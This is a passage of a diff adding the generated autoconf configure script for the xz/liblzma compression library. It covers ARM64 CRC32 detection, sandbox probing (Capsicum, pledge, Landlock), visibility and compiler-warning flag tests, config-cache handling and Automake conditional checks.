a, uint64_t b) +{ + return __crc32d(a, b); +} + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + +printf "%s\n" "#define HAVE_ARM64_CRC32 1" >>confdefs.h + + enable_arm64_crc32=yes + +else case e in #( + e) + enable_arm64_crc32=no + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_arm64_crc32" >&5 +printf "%s\n" "$enable_arm64_crc32" >&6; } + + CFLAGS="$OLD_CFLAGS" + ;; +esac +fi + +# Check for ARM64 CRC32 instruction runtime detection. +# getauxval() is supported on Linux, elf_aux_info() on FreeBSD, and +# sysctlbyname("hw.optional.armv8_crc32", ...) is supported on Darwin +# (macOS, iOS, etc.). Note that sysctlbyname() is supported on FreeBSD, +# NetBSD, and possibly others too but the string is specific to Apple OSes. +# The C code is responsible for checking defined(__APPLE__) before using +# sysctlbyname("hw.optional.armv8_crc32", ...). +if test "x$enable_arm64_crc32" = xyes +then : + + ac_fn_c_check_func "$LINENO" "getauxval" "ac_cv_func_getauxval" +if test "x$ac_cv_func_getauxval" = xyes +then : + printf "%s\n" "#define HAVE_GETAUXVAL 1" >>confdefs.h + +fi +ac_fn_c_check_func "$LINENO" "elf_aux_info" "ac_cv_func_elf_aux_info" +if test "x$ac_cv_func_elf_aux_info" = xyes +then : + printf "%s\n" "#define HAVE_ELF_AUX_INFO 1" >>confdefs.h + +fi +ac_fn_c_check_func "$LINENO" "sysctlbyname" "ac_cv_func_sysctlbyname" +if test "x$ac_cv_func_sysctlbyname" = xyes +then : + printf "%s\n" "#define HAVE_SYSCTLBYNAME 1" >>confdefs.h + +fi + + +fi + + +# Check for sandbox support. If one is found, set enable_sandbox=found. +# +# About -fsanitize: Of our three sandbox methods, only Landlock is +# incompatible with -fsanitize. FreeBSD 13.2 with Capsicum was tested with +# -fsanitize=address,undefined and had no issues. OpenBSD (as of version +# 7.4) has minimal support for process instrumentation. OpenBSD does not +# distribute the additional libraries needed (libasan, libubsan, etc.) with +# GCC or Clang needed for runtime sanitization support and instead only +# support -fsanitize-minimal-runtime for minimal undefined behavior +# sanitization. This minimal support is compatible with our use of the +# Pledge sandbox. So only Landlock will result in a build that cannot +# compress or decompress a single file to standard out. +case $enable_sandbox in #( + auto | capsicum) : + + + for ac_func in cap_rights_limit +do : + ac_fn_c_check_func "$LINENO" "cap_rights_limit" "ac_cv_func_cap_rights_limit" +if test "x$ac_cv_func_cap_rights_limit" = xyes +then : + printf "%s\n" "#define HAVE_CAP_RIGHTS_LIMIT 1" >>confdefs.h + enable_sandbox=found +fi + +done + + ;; #( + *) : + ;; +esac +case $enable_sandbox in #( + auto | pledge) : + + + for ac_func in pledge +do : + ac_fn_c_check_func "$LINENO" "pledge" "ac_cv_func_pledge" +if test "x$ac_cv_func_pledge" = xyes +then : + printf "%s\n" "#define HAVE_PLEDGE 1" >>confdefs.h + enable_sandbox=found +fi + +done + + ;; #( + *) : + ;; +esac +case $enable_sandbox in #( + auto | landlock) : + + for ac_header in linux/landlock.h +do : + ac_fn_c_check_header_compile "$LINENO" "linux/landlock.h" "ac_cv_header_linux_landlock_h" "$ac_includes_default" +if test "x$ac_cv_header_linux_landlock_h" = xyes +then : + printf "%s\n" "#define HAVE_LINUX_LANDLOCK_H 1" >>confdefs.h + + enable_sandbox=found + + case $CFLAGS in #( + *-fsanitize=*) : + as_fn_error $? " + CFLAGS contains '-fsanitize=' which is incompatible with the Landlock + sandboxing. Use --disable-sandbox when using '-fsanitize'." "$LINENO" 5 ;; #( + *) : + ;; +esac + +fi + +done + + ;; #( + *) : + ;; +esac + +# If a specific sandboxing method was explicitly requested and it wasn't +# found, give an error. +case $enable_sandbox in + auto | no | found) + ;; + *) + as_fn_error $? "$enable_sandbox support not found" "$LINENO" 5 + ;; +esac + + +############################################################################### +# If using GCC, set some additional AM_CFLAGS: +############################################################################### + +if test "$GCC" = yes ; then + echo + echo "GCC extensions:" +fi + +# Always do the visibility check but don't set AM_CFLAGS on Windows. +# This way things get set properly even on Windows. + + + CFLAG_VISIBILITY= + HAVE_VISIBILITY=0 + if test -n "$GCC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the -Werror option is usable" >&5 +printf %s "checking whether the -Werror option is usable... " >&6; } +if test ${gl_cv_cc_vis_werror+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gl_save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -Werror" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_cc_vis_werror=yes +else case e in #( + e) gl_cv_cc_vis_werror=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + CFLAGS="$gl_save_CFLAGS" + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gl_cv_cc_vis_werror" >&5 +printf "%s\n" "$gl_cv_cc_vis_werror" >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for simple visibility declarations" >&5 +printf %s "checking for simple visibility declarations... " >&6; } +if test ${gl_cv_cc_visibility+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gl_save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -fvisibility=hidden" + if test $gl_cv_cc_vis_werror = yes; then + CFLAGS="$CFLAGS -Werror" + fi + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +extern __attribute__((__visibility__("hidden"))) int hiddenvar; + extern __attribute__((__visibility__("default"))) int exportedvar; + extern __attribute__((__visibility__("hidden"))) int hiddenfunc (void); + extern __attribute__((__visibility__("default"))) int exportedfunc (void); + void dummyfunc (void); + int hiddenvar; + int exportedvar; + int hiddenfunc (void) { return 51; } + int exportedfunc (void) { return 1225736919; } + void dummyfunc (void) {} + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_cc_visibility=yes +else case e in #( + e) gl_cv_cc_visibility=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + CFLAGS="$gl_save_CFLAGS" + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gl_cv_cc_visibility" >&5 +printf "%s\n" "$gl_cv_cc_visibility" >&6; } + if test $gl_cv_cc_visibility = yes; then + CFLAG_VISIBILITY="-fvisibility=hidden" + HAVE_VISIBILITY=1 + fi + fi + + + +printf "%s\n" "#define HAVE_VISIBILITY $HAVE_VISIBILITY" >>confdefs.h + + +if test -n "$CFLAG_VISIBILITY" && test "$is_w32" = no; then + AM_CFLAGS="$AM_CFLAGS $CFLAG_VISIBILITY" +fi + +if test "$GCC" = yes +then : + + # Enable as much warnings as possible. These commented warnings won't + # work for this package though: + # * -Wunreachable-code breaks several assert(0) cases, which are + # backed up with "return LZMA_PROG_ERROR". + # * -Wcast-qual would break various things where we need a non-const + # pointer although we don't modify anything through it. + # * -Winline, -Wdisabled-optimization, -Wunsafe-loop-optimizations + # don't seem so useful here; at least the last one gives some + # warnings which are not bugs. + # * -Wconversion still shows too many warnings. + # + # The flags before the empty line are for GCC and many of them + # are supported by Clang too. The flags after the empty line are + # for Clang. + for NEW_FLAG in \ + -Wall \ + -Wextra \ + -Wvla \ + -Wformat=2 \ + -Winit-self \ + -Wmissing-include-dirs \ + -Wshift-overflow=2 \ + -Wstrict-overflow=3 \ + -Walloc-zero \ + -Wduplicated-cond \ + -Wfloat-equal \ + -Wundef \ + -Wshadow \ + -Wpointer-arith \ + -Wbad-function-cast \ + -Wwrite-strings \ + -Wdate-time \ + -Wsign-conversion \ + -Wfloat-conversion \ + -Wlogical-op \ + -Waggregate-return \ + -Wstrict-prototypes \ + -Wold-style-definition \ + -Wmissing-prototypes \ + -Wmissing-declarations \ + -Wredundant-decls \ + \ + -Wc99-compat \ + -Wc11-extensions \ + -Wc2x-compat \ + -Wc2x-extensions \ + -Wpre-c2x-compat \ + -Warray-bounds-pointer-arithmetic \ + -Wassign-enum \ + -Wconditional-uninitialized \ + -Wdocumentation \ + -Wduplicate-enum \ + -Wempty-translation-unit \ + -Wflexible-array-extensions \ + -Wmissing-variable-declarations \ + -Wnewline-eof \ + -Wshift-sign-overflow \ + -Wstring-conversion + do + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $CC accepts $NEW_FLAG" >&5 +printf %s "checking if $CC accepts $NEW_FLAG... " >&6; } + OLD_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS $NEW_FLAG -Werror" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +void foo(void); void foo(void) { } +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + AM_CFLAGS="$AM_CFLAGS $NEW_FLAG" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + CFLAGS="$OLD_CFLAGS" + done + + # Check whether --enable-werror was given. +if test ${enable_werror+y} +then : + enableval=$enable_werror; +else case e in #( + e) enable_werror=no ;; +esac +fi + + if test "x$enable_werror" = "xyes"; then + AM_CFLAGS="$AM_CFLAGS -Werror" + fi + +fi + + +############################################################################### +# Create the makefiles and config.h +############################################################################### + +echo + +# Don't build the lib directory at all if we don't need any replacement +# functions. + if test -n "$LIBOBJS"; then + COND_GNULIB_TRUE= + COND_GNULIB_FALSE='#' +else + COND_GNULIB_TRUE='#' + COND_GNULIB_FALSE= +fi + + +# Add default AM_CFLAGS. + + +# This is needed for src/scripts. +xz=`echo xz | sed "$program_transform_name"` + + +ac_config_files="$ac_config_files Makefile po/Makefile.in lib/Makefile src/Makefile src/liblzma/Makefile src/liblzma/api/Makefile src/xz/Makefile src/xzdec/Makefile src/lzmainfo/Makefile src/scripts/Makefile tests/Makefile debug/Makefile" + +ac_config_files="$ac_config_files src/scripts/xzdiff" + +ac_config_files="$ac_config_files src/scripts/xzgrep" + +ac_config_files="$ac_config_files src/scripts/xzmore" + +ac_config_files="$ac_config_files src/scripts/xzless" + + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# 'ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* 'ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # 'set' does not quote correctly, so add quotes: double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \. + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # 'set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test ${\1+y} || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + if test "x$cache_file" != "x/dev/null"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 +printf "%s\n" "$as_me: updating cache $cache_file" >&6;} + if test ! -f "$cache_file" || test -h "$cache_file"; then + cat confcache >"$cache_file" + else + case $cache_file in #( + */* | ?:*) + mv -f confcache "$cache_file"$$ && + mv -f "$cache_file"$$ "$cache_file" ;; #( + *) + mv -f confcache "$cache_file" ;; + esac + fi + fi + else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 +printf "%s\n" "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +U= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`printf "%s\n" "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" + as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + +if test -z "${COND_W32_TRUE}" && test -z "${COND_W32_FALSE}"; then + as_fn_error $? "conditional \"COND_W32\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_MAIN_ENCODER_TRUE}" && test -z "${COND_MAIN_ENCODER_FALSE}"; then + as_fn_error $? "conditional \"COND_MAIN_ENCODER\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_MAIN_DECODER_TRUE}" && test -z "${COND_MAIN_DECODER_FALSE}"; then + as_fn_error $? "conditional \"COND_MAIN_DECODER\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_LZMA1_TRUE}" && test -z "${COND_FILTER_LZMA1_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_LZMA1\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_LZMA1_TRUE}" && test -z "${COND_ENCODER_LZMA1_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_LZMA1\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_LZMA1_TRUE}" && test -z "${COND_DECODER_LZMA1_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_LZMA1\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_LZMA2_TRUE}" && test -z "${COND_FILTER_LZMA2_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_LZMA2\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_LZMA2_TRUE}" && test -z "${COND_ENCODER_LZMA2_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_LZMA2\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_LZMA2_TRUE}" && test -z "${COND_DECODER_LZMA2_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_LZMA2\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_DELTA_TRUE}" && test -z "${COND_FILTER_DELTA_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_DELTA\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_DELTA_TRUE}" && test -z "${COND_ENCODER_DELTA_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_DELTA\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_DELTA_TRUE}" && test -z "${COND_DECODER_DELTA_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_DELTA\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_X86_TRUE}" && test -z "${COND_FILTER_X86_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_X86\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_X86_TRUE}" && test -z "${COND_ENCODER_X86_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_X86\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_X86_TRUE}" && test -z "${COND_DECODER_X86_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_X86\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_POWERPC_TRUE}" && test -z "${COND_FILTER_POWERPC_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_POWERPC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_POWERPC_TRUE}" && test -z "${COND_ENCODER_POWERPC_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_POWERPC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_POWERPC_TRUE}" && test -z "${COND_DECODER_POWERPC_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_POWERPC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_IA64_TRUE}" && test -z "${COND_FILTER_IA64_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_IA64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_IA64_TRUE}" && test -z "${COND_ENCODER_IA64_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_IA64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_IA64_TRUE}" && test -z "${COND_DECODER_IA64_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_IA64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_ARM_TRUE}" && test -z "${COND_FILTER_ARM_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_ARM\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_ARM_TRUE}" && test -z "${COND_ENCODER_ARM_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_ARM\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_ARM_TRUE}" && test -z "${COND_DECODER_ARM_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_ARM\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_ARMTHUMB_TRUE}" && test -z "${COND_FILTER_ARMTHUMB_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_ARMTHUMB\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_ARMTHUMB_TRUE}" && test -z "${COND_ENCODER_ARMTHUMB_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_ARMTHUMB\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_ARMTHUMB_TRUE}" && test -z "${COND_DECODER_ARMTHUMB_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_ARMTHUMB\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_ARM64_TRUE}" && test -z "${COND_FILTER_ARM64_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_ARM64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_ARM64_TRUE}" && test -z "${COND_ENCODER_ARM64_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_ARM64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_ARM64_TRUE}" && test -z "${COND_DECODER_ARM64_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_ARM64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_SPARC_TRUE}" && test -z "${COND_FILTER_SPARC_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_SPARC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_SPARC_TRUE}" && test -z "${COND_ENCODER_SPARC_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_SPARC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_SPARC_TRUE}" && test -z "${COND_DECODER_SPARC_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_SPARC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_RISCV_TRUE}" && test -z "${COND_FILTER_RISCV_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_RISCV\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_RISCV_TRUE}" && test -z "${COND_ENCODER_RISCV_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_RISCV\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_RISCV_TRUE}" && test -z "${COND_DECODER_RISCV_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_RISCV\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_SIMPLE_TRUE}" && test -z "${COND_FILTER_SIMPLE_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_SIMPLE\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_SIMPLE_TRUE}" && test -z "${COND_ENCODER_SIMPLE_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_SIMPLE\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_SIMPLE_TRUE}" && test -z "${COND_DECODER_SIMPLE_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_SIMPLE\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_FILTER_LZ_TRUE}" && test -z "${COND_FILTER_LZ_FALSE}"; then + as_fn_error $? "conditional \"COND_FILTER_LZ\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ENCODER_LZ_TRUE}" && test -z "${COND_ENCODER_LZ_FALSE}"; then + as_fn_error $? "conditional \"COND_ENCODER_LZ\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DECODER_LZ_TRUE}" && test -z "${COND_DECODER_LZ_FALSE}"; then + as_fn_error $? "conditional \"COND_DECODER_LZ\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_CHECK_CRC32_TRUE}" && test -z "${COND_CHECK_CRC32_FALSE}"; then + as_fn_error $? "conditional \"COND_CHECK_CRC32\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_CHECK_CRC64_TRUE}" && test -z "${COND_CHECK_CRC64_FALSE}"; then + as_fn_error $? "conditional \"COND_CHECK_CRC64\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_CHECK_SHA256_TRUE}" && test -z "${COND_CHECK_SHA256_FALSE}"; then + as_fn_error $? "conditional \"COND_CHECK_SHA256\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_MICROLZMA_TRUE}" && test -z "${COND_MICROLZMA_FALSE}"; then + as_fn_error $? "conditional \"COND_MICROLZMA\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_LZIP_DECODER_TRUE}" && test -z "${COND_LZIP_DECODER_FALSE}"; then + as_fn_error $? "conditional \"COND_LZIP_DECODER\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_ASM_X86_TRUE}" && test -z "${COND_ASM_X86_FALSE}"; then + as_fn_error $? "conditional \"COND_ASM_X86\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_SMALL_TRUE}" && test -z "${COND_SMALL_FALSE}"; then + as_fn_error $? "conditional \"COND_SMALL\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_XZ_TRUE}" && test -z "${COND_XZ_FALSE}"; then + as_fn_error $? "conditional \"COND_XZ\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_XZDEC_TRUE}" && test -z "${COND_XZDEC_FALSE}"; then + as_fn_error $? "conditional \"COND_XZDEC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_LZMADEC_TRUE}" && test -z "${COND_LZMADEC_FALSE}"; then + as_fn_error $? "conditional \"COND_LZMADEC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_LZMAINFO_TRUE}" && test -z "${COND_LZMAINFO_FALSE}"; then + as_fn_error $? "conditional \"COND_LZMAINFO\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_LZMALINKS_TRUE}" && test -z "${COND_LZMALINKS_FALSE}"; then + as_fn_error $? "conditional \"COND_LZMALINKS\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_SCRIPTS_TRUE}" && test -z "${COND_SCRIPTS_FALSE}"; then + as_fn_error $? "conditional \"COND_SCRIPTS\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_DOC_TRUE}" && test -z "${COND_DOC_FALSE}"; then + as_fn_error $? "conditional \"COND_DOC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking that generated files are newer than configure" >&5 +printf %s "checking that generated files are newer than configure... " >&6; } + if test -n "$am_sleep_pid"; then + # Hide warnings about reused PIDs. + wait $am_sleep_pid 2>/dev/null + fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: done" >&5 +printf "%s\n" "done" >&6; } + if test -n "$EXEEXT"; then + am__EXEEXT_TRUE= + am__EXEEXT_FALSE='#' +else + am__EXEEXT_TRUE='#' + am__EXEEXT_FALSE= +fi + +if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then + as_fn_error $? "conditional \"AMDEP\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then + as_fn_error $? "conditional \"am__fastdepCC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${am__fastdepCCAS_TRUE}" && test -z "${am__fastdepCCAS_FALSE}"; then + as_fn_error $? "conditional \"am__fastdepCCAS\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_THREADS_TRUE}" && test -z "${COND_THREADS_FALSE}"; then + as_fn_error $? "conditional \"COND_THREADS\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_SHARED_TRUE}" && test -z "${COND_SHARED_FALSE}"; then + as_fn_error $? "conditional \"COND_SHARED\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_SYMVERS_LINUX_TRUE}" && test -z "${COND_SYMVERS_LINUX_FALSE}"; then + as_fn_error $? "conditional \"COND_SYMVERS_LINUX\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_SYMVERS_GENERIC_TRUE}" && test -z "${COND_SYMVERS_GENERIC_FALSE}"; then + as_fn_error $? "conditional \"COND_SYMVERS_GENERIC\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +# Check whether --enable-year2038 was given. +if test ${enable_year2038+y} +then : + enableval=$enable_year2038; +fi + + +if test -z "${COND_INTERNAL_SHA256_TRUE}" && test -z "${COND_INTERNAL_SHA256_FALSE}"; then + as_fn_error $? "conditional \"COND_INTERNAL_SHA256\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi +if test -z "${COND_GNULIB_TRUE}" && test -z 